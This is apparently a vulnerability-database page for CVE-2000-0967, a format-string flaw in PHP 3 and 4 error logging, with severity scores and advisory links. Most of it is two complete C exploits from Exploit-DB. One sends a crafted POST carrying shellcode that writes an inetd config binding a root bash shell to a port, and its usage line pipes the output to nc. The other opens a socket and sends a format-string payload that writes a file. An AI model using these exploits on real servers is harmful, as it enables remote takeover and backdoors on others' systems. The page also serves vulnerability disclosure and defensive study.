CVE-2000-0967 : Detail

CVE-2000-0967

19.68%V3
Network
2001-01-22
04h00 +00:00
2004-09-02
07h00 +00:00
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

PHP 3 and 4 do not properly cleanse user-injected format strings, which allows remote attackers to execute arbitrary commands by triggering error messages that are improperly written to the error logs.

CVE Informations

Metrics

Metrics Score Severity CVSS Vector Source
V2 10 AV:N/AC:L/Au:N/C:C/I:C/A:C [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 220

Publication date : 2000-12-05 23h00 +00:00
Author : Gneisenau
EDB Verified : Yes

/* * PHP 3.0.16/4.0.2 remote format overflow exploit. * Copyright (c) 2000 * Field Marshal Count August Anton Wilhelm Neithardt von Gneisenau * [email protected] * my regards to sheib and darkx * All rights reserved * Pascal Boucheraine's paper was enlightening * THERE IS NO IMPLIED OR EXPRESS WARRANTY FOR THIS CODE. * YOU ARE RESPONSIBLE FOR YOUR OWN ACTIONS AND I CANNOT BE HELD RESPONSIBLE * FOR THE CONSEQUENCES * Usage: * phpxpl -sx -uwww.victim.com/some.php3 | nc www.victim.com 80 * * Slackware 7.0: eip address/shellcode address * 0xbfff9b90/0xbfff958c * */ /* * We just printf the shellcode and stuff and nc it to the target */ #include <sys/types.h> #include <unistd.h> #include <stdio.h> #include <stdlib.h> #include <string.h> // this exploit does not like 0x0a = '\n' in the shellcode. also the NULL at // the end of the shellcode will be removed as the shellcode is probably // strcatted into the buffer. so do it again in the shellcode. /* * This shellcode is for Linux/x86. * This shellcode spawns a shell and runs the command * echo 'ingreslock stream tcp nowait root /bin/bash bash -i'>/tmp/.inetd.conf; /usr/sbin/inetd /tmp/.inetd.conf */ char shellcode[] = { 0xeb,0x41, 0x5e, 0x31,0xc0, 0x31,0xdb, 0xb0,0xa0, 0x89,0x34,0x06, 0x8d,0x4e,0x07, 0x88,0x19, 0x41, 0x41, 0xb0,0xa4, 0x89,0x0c,0x06, 0x8d,0x4e,0x0b, 0x88,0x19, 0x41, 0xb0,0xa8, 0x89,0x0c,0x06, 0x8d,0x4e,0x7f, 0x88,0x19, 0x31,0xd2, 0xb0,0xac, 0x89,0x14,0x06, 0x89,0xf3, 0x89,0xf1, 0xb0,0xa0, 0x01,0xc1, 0xb0,0x0b, 0xcd,0x80, 0x31,0xc0, 0xb0,0x01, 0x31,0xdb, 0xcd,0x80, 0xe8,0xba,0xff,0xff,0xff, 0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68,0xff,0xff, /* the string "/bin/sh" */ 0x2d,0x63,0xff, /* the string "-c" */ 0x2f,0x62,0x69,0x6e,0x2f,0x65,0x63,0x68,0x6f,0x20,0x27,0x69, 0x6e,0x67,0x72,0x65,0x73,0x6c,0x6f,0x63,0x6b,0x20,0x73,0x74, 0x72,0x65,0x61,0x6d,0x20,0x74,0x63,0x70,0x20,0x6e,0x6f,0x77, 0x61,0x69,0x74,0x20,0x72,0x6f,0x6f,0x74,0x20,0x2f,0x62,0x69, 0x6e,0x2f,0x62,0x61,0x73,0x68,0x20,0x62,0x61,0x73,0x68,0x20, 0x20,0x2d,0x69,0x27,0x3e,0x2f,0x74,0x6d,0x70,0x2f,0x2e,0x69, 0x6e,0x65,0x74,0x64,0x2e,0x63,0x6f,0x6e,0x66,0x3b,0x20,0x2f, 0x75,0x73,0x72,0x2f,0x73,0x62,0x69,0x6e,0x2f,0x69,0x6e,0x65, 0x74,0x64,0x20,0x2f,0x74,0x6d,0x70,0x2f,0x2e,0x69,0x6e,0x65, 0x74,0x64,0x2e,0x63,0x6f,0x6e,0x66,0x00, }; #define NOP 0x90 /* * the PHP3 error buffer will already contain PHP 3 Warning: The Content-Type * string was "multipart/form-data. This is 66 bytes long. we send 2 spaces * for padding the addresses we embed in our attack buffer on word boundary */ #define PHP3_WARNING 68 #define BUF_LEN 1024 struct system_type { char *name; unsigned int nop; char *shellcode; int shellcode_len; int offset; /* the number of pops we need to get to our own data*/ int already_written; /* number of bytes written by printf by the time we reach the our embedded data */ unsigned int eip_address; /* address where shellcode_address must be put */ unsigned int shellcode_address; /* address of shellcode in memory */ }; struct system_type systems[] = { { "Slackware Linux 7.0 - i386/Apache 1.3.12/PHP 3.0.16 (static module)", 0x90, shellcode, 270, /* not exact but we got lots of space ;) */ 27, 0x152, 0xbfff9c30, 0xbfff962c, }, // somebody find these and fill it in please. should be // straightforward. { "Red Hat 6.0 - i386/Apache 1.3.13/PHP 3.0.16 (static module)", (unsigned int)NULL, NULL, (int)NULL, (int)NULL, (int)NULL, (unsigned int)NULL, (unsigned int)NULL, }, { NULL, (unsigned int)NULL, NULL, (int)NULL, (int)NULL, (int)NULL, (unsigned int)NULL, (unsigned int)NULL, }, }; void usage (void); void parse_url (char *, char *); void prepare_attack_buffer (char *, struct system_type *, char *); int calculate_precision (unsigned int, int); int main (int argc, char *argv[]) { char attack_buffer[2000]; // we construct the shellcode and stuff here // the target is 1024 bytes long struct system_type *sysptr; char *url; // i hope these things dont get bigger than this char target[2048]; // target will contain only the FQDN unsigned int eip_address = 0, shellcode_address = 0; int ctr = 0; int nop_count; char *walk; int arg; // at least expect a system type and url from the command line if (argc < 3) usage (); // parse arguments while ((arg = getopt (argc, argv, "s:u:e:h:")) != -1){ switch (arg){ case 'h': sscanf (optarg, "%x", &shellcode_address); break; case 'e': sscanf (optarg, "%x", &eip_address); break; case 's': sysptr = &systems[atoi (optarg)]; break; case 'u': url = optarg; parse_url (url, target); break; case '?': default : usage (); } } if (eip_address) sysptr->eip_address = eip_address; if (shellcode_address) sysptr->shellcode_address = shellcode_address; prepare_attack_buffer (attack_buffer, sysptr, url); // as of now write it out to stdout. later write it to a socket write (STDOUT_FILENO, attack_buffer, sizeof (attack_buffer)); } void prepare_attack_buffer (char *attack_buffer, struct system_type *system, char *url) { int dest_buffer_written; /* we keep track of how much bytes will be written in the destination buffer */ int ctr; char *address; char buf[25]; // temp buffer for %xd%n%xd%n%xd%n%xd%n // where x is precision int p1,p2,p3,p4; int nop_count; bzero (attack_buffer, 2000); sprintf (attack_buffer, "POST http://%s HTTP/1.0\nConnection: close\nUser-Agent: tirpitz\nContent-Type: multipart/form-data ", url); // mark strlen here. whatever we write after here appears in the buffer dest_buffer_written = strlen (attack_buffer); strcat (attack_buffer, "\x11\x11\x11\x11"); address = (char *)&system->eip_address; strncat (attack_buffer, address, 4); strcat (attack_buffer, "\x11\x11\x11\x11"); system->eip_address++; address = (char *)&system->eip_address; strncat (attack_buffer, address, 4); strcat (attack_buffer, "\x11\x11\x11\x11"); system->eip_address++; address = (char *)&system->eip_address; strncat (attack_buffer, address, 4); strcat (attack_buffer, "\x11\x11\x11\x11"); system->eip_address++; address = (char *)&system->eip_address; strncat (attack_buffer, address, 4); /* * we need to add %x corresponding to the number of pops we need to reach * our embedded addresses we defined above */ for (; system->offset; system->offset--) strcat (attack_buffer, "%x "); p1 = calculate_precision ((system->shellcode_address & 0x000000ff), system->already_written); p2 = calculate_precision ((system->shellcode_address & 0x0000ff00) >> 8, system->already_written); p3 = calculate_precision ((system->shellcode_address & 0x00ff0000) >> 16, system->already_written); p4 = calculate_precision ((system->shellcode_address & 0xff000000) >> 24, system->already_written); sprintf (buf, "%%%dd%%n%%%dd%%n%%%dd%%n%%%dd%%n", p1, p2, p3, p4); strcat (attack_buffer, buf); ctr = strlen (attack_buffer); dest_buffer_written = ctr - dest_buffer_written; dest_buffer_written += PHP3_WARNING; // dest_buffer_written now contains the number of bytes the PHP_WARNING and then the 8 4 byte values and then the %x to pop off the stack attack_buffer += ctr; nop_count = BUF_LEN - dest_buffer_written - system->shellcode_len; memset (attack_buffer, NOP, nop_count); /* * Add our shellcode at last */ attack_buffer += nop_count; strcat (attack_buffer, shellcode); strcat (attack_buffer, "\n"); strcat (attack_buffer, "Content-Length: 1337\n\n"); } void usage (void) { int ctr; fprintf (stderr, " Apache/PHP xploit\n"); fprintf (stderr, " Field Marshal Count August Anton Wilhelm Neithardt von Gneisenau\n"); fprintf (stderr, " for the r00tcrew\n"); fprintf (stderr, " All rights reserved\n"); fprintf (stderr, "\nUsage:\n"); fprintf (stderr, "phpxpl -u url -s systype [ -e eip address ] [ -h shellcode address ]\n\n"); fprintf (stderr, "url: the complete url including FQDN and script on the server\n"); fprintf (stderr, " www.victim.com/info.php3\n"); fprintf (stderr, "available systypes:\n"); for (ctr = 0; systems[ctr].name; ctr++) fprintf (stderr, "%d. %s\n", ctr, systems[ctr].name); fprintf (stderr, "eip address: the address which the xploit overwrites with buffer address (specify thus 0xbfff9c30) \n"); fprintf (stderr, "shellcode address: the address which points to the NOPs (specify thus 0xbfff962c)\n"); fprintf (stderr, "\n"); exit (1); } void parse_url (char *url, char *target) { char *ptr; strcpy (target, url); if (!(ptr = index (target, '/'))){ fprintf (stderr, "invalid url. specify the script name on the target server too\n"); exit (1); } *ptr = '\0'; } /* * addr_byte contains the byte we need to write out. for example: 2c in * 0xbfff962c, then 96, ff and bf. */ int calculate_precision (unsigned int addr_byte, int already_written_init) { static int already_written = 0; int tmp; if (!already_written) already_written = already_written_init; while (addr_byte < already_written) addr_byte += 0x100; tmp = addr_byte - already_written; already_written = addr_byte; return tmp; } // milw0rm.com [2000-12-06]
Exploit Database EDB-ID : 20286

Publication date : 2000-10-11 22h00 +00:00
Author : anonymous
EDB Verified : Yes

// source: https://www.securityfocus.com/bid/1786/info PHP is a scripting language designed for CGI applications that is used on many websites. There exists a remotely exploitable format string vulnerability in all versions of PHP below PHP 4.0.3. The vulnerability exists in the code that handles error logging and is present if error logging is enabled in the "php.ini" configuration file. When errors are encountered by PHP, a string containing data supplied by the user is passed as the format string argument (the log_message variable) to the php_syslog() function (which contains *printf functions). As a result, it is possible for a malicious user to craft a string containing malicious format specifiers that will be passed to the php_syslog function as part of an error message. When interpreted by the *printf functions, these specifiers can cause the process to overwrite its own stack variables with arbitrary data. This can lead to remote access being gained on the target host with privileges of the webserver for the attacker. Error logging may or may not be enabled by default on systems shipped with PHP. #include<stdio.h> #include<sys/types.h> #include<sys/socket.h> #include<netinet/in.h> #include<arpa/inet.h> #include<netdb.h> #define BSIZE 1549 #define BUFFERZONE 128 int main(int argc, char *argv[]) { int i,start,count; int stackloc=0xBFFFDA60; int s; FILE *f; fd_set rfds; struct hostent *he; struct sockaddr_in saddr; char sploit[BSIZE]; char file[]="/tmp/BADPHP"; char c; if(argc!=5) { printf("%s <addr> <port> <offset> <php file name>\n",argv[0]); printf("offset=0 for most systems.\n"); return 0; } /*** build exploit string ***/ /* write bad format string, adding in offset */ snprintf(sploit,sizeof(sploit), "Content-Type:multipart/form-data %%%uX%%X%%X%%hn", 55817 /*+offset0,1,2,3*/ ); /* fill with breakpoints and nops*/ start=strlen(sploit); memset(sploit+start,0xCC,BSIZE-start); memset(sploit+start+BUFFERZONE*4,0x90,BUFFERZONE*4); sploit[BSIZE-1]=0; /* pointer to start of code (stackloc+4) */ count=BUFFERZONE; for(i=0;i<count;i++) { unsigned int value=stackloc+4+(count*4); if((value&0x000000FF)==0) value|=0x00000004; if((value&0x0000FF00)==0) value|=0x00000400; if((value&0x00FF0000)==0) value|=0x00040000; if((value&0xFF000000)==0) value|=0x04000000; *(unsigned int *)&(sploit[start+i*4])=value; } start+=BUFFERZONE*4*2; /*** build shellcode ***/ sploit[start+0]=0x90; /* nop */ sploit[start+1]=0xBA; /* mov edx, (not 0x1B6 (a+rw)) */ sploit[start+2]=0x49; sploit[start+3]=0xFE; sploit[start+4]=0xFF; sploit[start+5]=0xFF; sploit[start+6]=0xF7; /* not edx */ sploit[start+7]=0xD2; sploit[start+8]=0xB9; /* mov ecx, (not 0x40 (O_CREAT)) */ sploit[start+9]=0xBF; sploit[start+10]=0xFF; sploit[start+11]=0xFF; sploit[start+12]=0xFF; sploit[start+13]=0xF7; /* not ecx */ sploit[start+14]=0xD1; sploit[start+15]=0xE8; /* call eip+4 + inc eax (overlapping) */ sploit[start+16]=0xFF; sploit[start+17]=0xFF; sploit[start+18]=0xFF; sploit[start+19]=0xFF; sploit[start+20]=0xC0; sploit[start+21]=0x5B; /* pop ebx */ sploit[start+22]=0x6A; /* push 22 (offset to end of sploit (filename)) */ sploit[start+23]=0x16; sploit[start+24]=0x58; /* pop eax */ sploit[start+25]=0x03; /* add ebx,eax */ sploit[start+26]=0xD8; sploit[start+27]=0x33; /* xor eax,eax */ sploit[start+28]=0xC0; sploit[start+29]=0x88; /* mov byte ptr [ebx+11],al */ sploit[start+30]=0x43; sploit[start+31]=0x0B; sploit[start+32]=0x83; /* add eax,5 */ sploit[start+33]=0xC0; sploit[start+34]=0x05; sploit[start+35]=0xCD; /* int 80 (open) */ sploit[start+36]=0x80; sploit[start+37]=0x33; /* xor eax,eax */ sploit[start+38]=0xC0; sploit[start+39]=0x40; /* inc eax */ sploit[start+40]=0xCD; /* int 80 (_exit) */ sploit[start+41]=0x80; /* add filename to touch */ strncpy(&sploit[start+42],file,strlen(file)); /*** send exploit string ***/ /* create socket */ s=socket(PF_INET,SOCK_STREAM,IPPROTO_TCP); if(s<0) { printf("couldn't create socket.\n"); return 0; } /* connect to port */ memset(&saddr,0,sizeof(saddr)); saddr.sin_family=AF_INET; saddr.sin_port=htons(atoi(argv[2])); he=gethostbyname(argv[1]); if(he==NULL) { printf("invalid hostname.\n"); } memcpy(&(saddr.sin_addr.s_addr),he->h_addr_list[0],sizeof(struct in_addr)); if(connect(s,(struct sockaddr *)&saddr,sizeof(saddr))!=0) { printf("couldn't connect.\n"); return 0; } /* fdopen the socket to use stream functions */ f=fdopen(s,"w"); if(f==NULL) { close(s); printf("couldn't fdopen socket.\n"); return 0; } /* put the post request to the socket */ fprintf(f,"POST %s HTTP/1.0\n",argv[4]); fputs(sploit,f); fputc('\n',f); fputc('\n',f); fflush(f); /* close the socket */ fclose(f); close(s); return 0; }

Products Mentioned

Configuraton 0

Php>>Php >> Version 3.0

Php>>Php >> Version 4.0

References

http://www.redhat.com/support/errata/RHSA-2000-095.html
Tags : vendor-advisory, x_refsource_REDHAT
http://www.redhat.com/support/errata/RHSA-2000-088.html
Tags : vendor-advisory, x_refsource_REDHAT
http://www.atstake.com/research/advisories/2000/a101200-1.txt
Tags : vendor-advisory, x_refsource_ATSTAKE
http://www.securityfocus.com/bid/1786
Tags : vdb-entry, x_refsource_BID